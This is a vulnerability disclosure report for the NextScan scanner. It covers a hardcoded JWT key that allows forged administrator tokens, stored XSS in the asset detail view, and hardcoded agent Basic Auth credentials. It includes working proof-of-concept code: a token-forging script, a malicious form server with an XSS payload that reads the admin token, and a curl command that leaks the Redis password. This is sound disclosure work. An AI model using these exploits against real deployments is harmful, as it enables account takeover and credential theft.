# NextScan Vulnerability Report

Software: NextScan

Developer or vendor: Tongcheng Travel Information Security Team

Code repository: https://github.com/tongcheng-security-team/NextScan

## 1. Hardcoded JWT Signing Key Allows Administrator Impersonation

Brief description: An attacker extracts the hardcoded JWT signing key from the public image and forges an administrator token that is accepted by every management API endpoint.

Affected versions: 1.1.0 to 1.2.0

Preconditions: None

### Root Cause

The management API verifies `X-Access-Token` with HS256. The signing key is a string constant in the `ns-admin` binary. `pkg/config` has no field for it and `conf.ini` has no section for it, so a deployment cannot replace the key through configuration or an environment variable.

After the signature check, the middleware only reads `id` and `roleIds` from the token. It does not check that the user exists or that the role is valid. The logic lives in `pkg/http/middleware` and `pkg/http/router.Auth`.

A token with an arbitrary `id` and the built-in super administrator role ID is therefore accepted as an administrator.

The published images 1.1.0, 1.1.1 and 1.2.0 carry the same key, hence the affected range.

### Reproduction Environment

The lab runs the official compose deployment. The `bitnami/etcd` and `minio/minio` images in the official compose file can no longer be pulled, so the lab uses `bitnamilegacy/etcd` and `bitnamilegacy/minio` instead. The `createbuckets` service depends on `minio/mc`, which is also unavailable, so it is omitted. This does not affect the reproduction. The rest matches the official file:

```yaml
services:
  redis:
    image: "redis:alpine"
    command: --requirepass "3d7a6447328dcde6"
    container_name: ns-redis
  mongo:
    image: "mongo:4.2.23"
    command: [--auth]
    environment:
      MONGO_INITDB_ROOT_USERNAME: root
      MONGO_INITDB_ROOT_PASSWORD: root
      MONGO_DATABASE: NextScan
      MONGO_USERNAME: NextScan
      MONGO_PASSWORD: 56074e26d5a39aad
    volumes:
      - ./mongo/init:/docker-entrypoint-initdb.d
      - ./mongo/data:/data/db
    container_name: ns-mongo
  etcd:
    image: "bitnamilegacy/etcd:3.5.6"
    environment:
      - ETCD_ROOT_PASSWORD=0117be99f79bf9e2
    container_name: ns-etcd
  minio:
    image: "bitnamilegacy/minio:2021.4.18"
    volumes:
      - ./minio/data:/data
    environment:
      MINIO_ACCESS_KEY: "vi75e"
      MINIO_SECRET_KEY: "hFimqbrlBE"
    command: server /data
    container_name: ns-minio
  web:
    image: "lysec/ns-admin:latest"
    ports:
      - "80:80"
    depends_on:
      - redis
      - mongo
      - etcd
      - minio
    container_name: ns-admin
  scan:
    image: "lysec/ns-scan:latest"
    depends_on:
      - web
    container_name: ns-scan
  craw:
    image: "lysec/ns-craw:latest"
    depends_on:
      - web
    container_name: ns-craw
```

`mongo/init` comes from the official repository. The UI is then at `http://127.0.0.1`.

### Reproduction

Extract the key from the image:

```bash
$ docker run --rm --entrypoint sh lysec/ns-admin:v1.2.0 -c 'strings /next-scan/ns-admin | grep nscan_admin_api_jwt_secret_key'
nscan_admin_api_jwt_secret_key
```

Sign a token with that key and read the user list:

```python
import httpx
import jwt

BASE = "http://127.0.0.1"
token = jwt.encode(
    {
        "exp": 1794062983,
        "id": "5db002504da8ad2e24d0052d",
        "orig_iat": 1793976583,
        "roleIds": "5e36ddf74da8ad2e24fb5f51",
    },
    "nscan_admin_api_jwt_secret_key",
    algorithm="HS256",
)
print(token)
headers = {"X-Access-Token": "ns-admin " + token}
print(httpx.get(BASE + "/v1/sys/user/list", headers=headers).text)
```

The output is:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQwNjI5ODMsImlkIjoiNWRiMDAyNTA0ZGE4YWQyZTI0ZDAwNTJkIiwib3JpZ19pYXQiOjE3OTM5NzY1ODMsInJvbGVJZHMiOiI1ZTM2ZGRmNzRkYThhZDJlMjRmYjVmNTEifQ.AhcTJZnJXrSx7ZTEN7bOx4rer7o1_R-i0fLDZJD2x1Y
{"code":200,"message":"OK","result":[{"id":"5db002504da8ad2e24d0052d","username":"admin","realname":"管理员","workNo":"00001","avatar":"","sex":1,"phone":"18888888888","desc":"系统默认账户","createBy":"","updateBy":"","status":1,"email":"nextscan@163.com","source":"","updateTime":"2023-02-14T08:21:15.22Z","createTime":"2021-05-18T07:33:51.228Z"}],"success":true,"timestamp":1793976583830,"total":1}
```

Write the token into localStorage in the browser console, then open the home page:

```js
localStorage.setItem('pro__Access-Token', JSON.stringify({value: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQwNjI5ODMsImlkIjoiNWRiMDAyNTA0ZGE4YWQyZTI0ZDAwNTJkIiwib3JpZ19pYXQiOjE3OTM5NzY1ODMsInJvbGVJZHMiOiI1ZTM2ZGRmNzRkYThhZDJlMjRmYjVmNTEifQ.AhcTJZnJXrSx7ZTEN7bOx4rer7o1_R-i0fLDZJD2x1Y', expire: null}));
```

![](img/f1-dashboard.png)

The user list shows the administrator account:

![](img/f1-user-list.png)

## 2. Stored XSS in the Asset Detail View

Brief description: The scanner crawls a site controlled by the attacker and stores the form body in the asset library. A user who opens the asset detail view runs the attacker's script, and the attacker takes over the victim's account.

Affected versions: 1.1.0 to 1.2.0

Preconditions: A scan task targets a site controlled by the attacker.

### Root Cause

When the crawler visits a page, it submits the forms on that page and writes each request body to `Asset_URL.data`. The URL asset detail dialog renders that field through `domProps.innerHTML`:

```js
// web/js/chunk-7371b739.7ed9f6ed.js, image lysec/ns-admin:1.2.0
domProps:{innerHTML:e._s(e.form.data)}
```

The same dialog renders request headers with `json-viewer`, which builds an `innerHTML` string from a value that starts with `http://`, so a header value injects script as well:

```js
// web/js/chunk-e9af1076.1c09d728.js, image lysec/ns-admin:1.2.0
domProps=n?{innerHTML:'"'+(t='<a href="'+t+'" target="_blank" class="jv-link">'+t+"</a>").toString()+'"'}
```

Both renderers are the same in the published images 1.1.0, 1.1.1 and 1.2.0.

### Reproduction Environment

The management side is deployed as in section 1. The attacker site must run on a host the scan node can reach. In the commands below, `172.28.0.1` stands for that host and `18899` for its port:

```python
from fastapi import FastAPI
from fastapi.responses import HTMLResponse, PlainTextResponse

app = FastAPI()


@app.get('/xss-form', response_class=HTMLResponse)
def xss_form():
    return '''<html><body>
<form action="/submit" method="POST">
<input name="x" value="<img/src='http://172.28.0.1:18899/slow?ms=8000'onerror=&quot;document.body.innerText=localStorage.getItem('pro__Access-Token')&quot;>">
<input type="submit" value="send">
</form>
</body></html>'''


@app.post('/submit', response_class=HTMLResponse)
def submit():
    return '<html><body>ok</body></html>'


@app.get('/slow')
async def slow(ms: int = 5000):
    import asyncio
    await asyncio.sleep(ms / 1000)
    return PlainTextResponse('slow')
```

Start it:

```bash
$ uvicorn attacker:app --host 0.0.0.0 --port 18899
```

### Reproduction

Create a project in the management UI with the target `http://172.28.0.1:18899/xss-form`, enable the crawler and run it. The crawler submits the form, and the request body is stored in the asset library:

```
{"_id":{"$oid":"6aedf916844f93e35bb80381"},"url":"http://172.28.0.1:18899/submit","data":"x=<img/src='http://172.28.0.1:18899/slow?ms=8000'onerror=\"document.body.innerText=localStorage.getItem('pro__Access-Token')\">"}
```

The crawler encodes spaces in the request body as `+`, so the payload contains no spaces.

In `资产管理`, open `url资产` and click `详情` on that row. The dialog renders the body as HTML, and the `img` tag starts loading the `slow` endpoint:

![](img/f2-detail.png)

Eight seconds later the image fails to load, `onerror` runs, and the page prints the administrator token from localStorage:

![](img/f2-xss.png)

## 3. Hardcoded Basic Auth Credentials on the Agent API

Brief description: The agent API uses hardcoded Basic Auth credentials. An attacker who sends these credentials reads the node configuration, including the Redis password.

Affected versions: 1.1.0 to 1.2.0

Preconditions: None

### Root Cause

`pkg/http/router.AuthAgent` builds a `gin.Accounts` map from the constant `nextagent`, used as both the user name and the password. `pkg/http/router.AuthExternal` does the same with `nEXtSCAnExTERNal`. Neither has a configuration option, so a deployment cannot change them.

### Reproduction Environment

Same as section 1.

### Reproduction

Request the node configuration:

```bash
$ curl -s -u nextagent:nextagent 'http://127.0.0.1/agent/config?group=2'
```

The output is:

```json
{
    "code": 200,
    "message": "OK",
    "result": {
        "Redis": {
            "Addr": "ns-redis:6379",
            "PoolSize": 10,
            "MinIdleConns": 3,
            "Password": "3d7a6447328dcde6"
        },
        "Etcd": {
            "endpoints": [
                "ns-etcd:2379"
            ],
            "auto-sync-interval": 0,
            "dial-timeout": 5000000000,
            "dial-keep-alive-time": 0,
            "dial-keep-alive-timeout": 0,
            "MaxCallSendMsgSize": 0,
            "MaxCallRecvMsgSize": 0,
            "TLS": null,
            "username": "",
            "password": "",
            "reject-old-cluster": false,
            "DialOptions": null,
            "Context": null,
            "Logger": null,
            "LogConfig": null,
            "permit-without-stream": false
        },
        "cookiePath": "/ns/cookie/global/",
        "ServerToken": "nextagent",
        "heartbeat": "@every 1m",
        "agentLeaseTTL": 70,
        "agentInfoPrefix": "/ns/agent/info/",
        "pluginPrefix": "/ns/plugin/",
        "payloadPrefix": "/ns/payload/",
        "scanConfigPrefix": "/ns/agent/config/",
        "weakPassCnt": 10
    }
}
```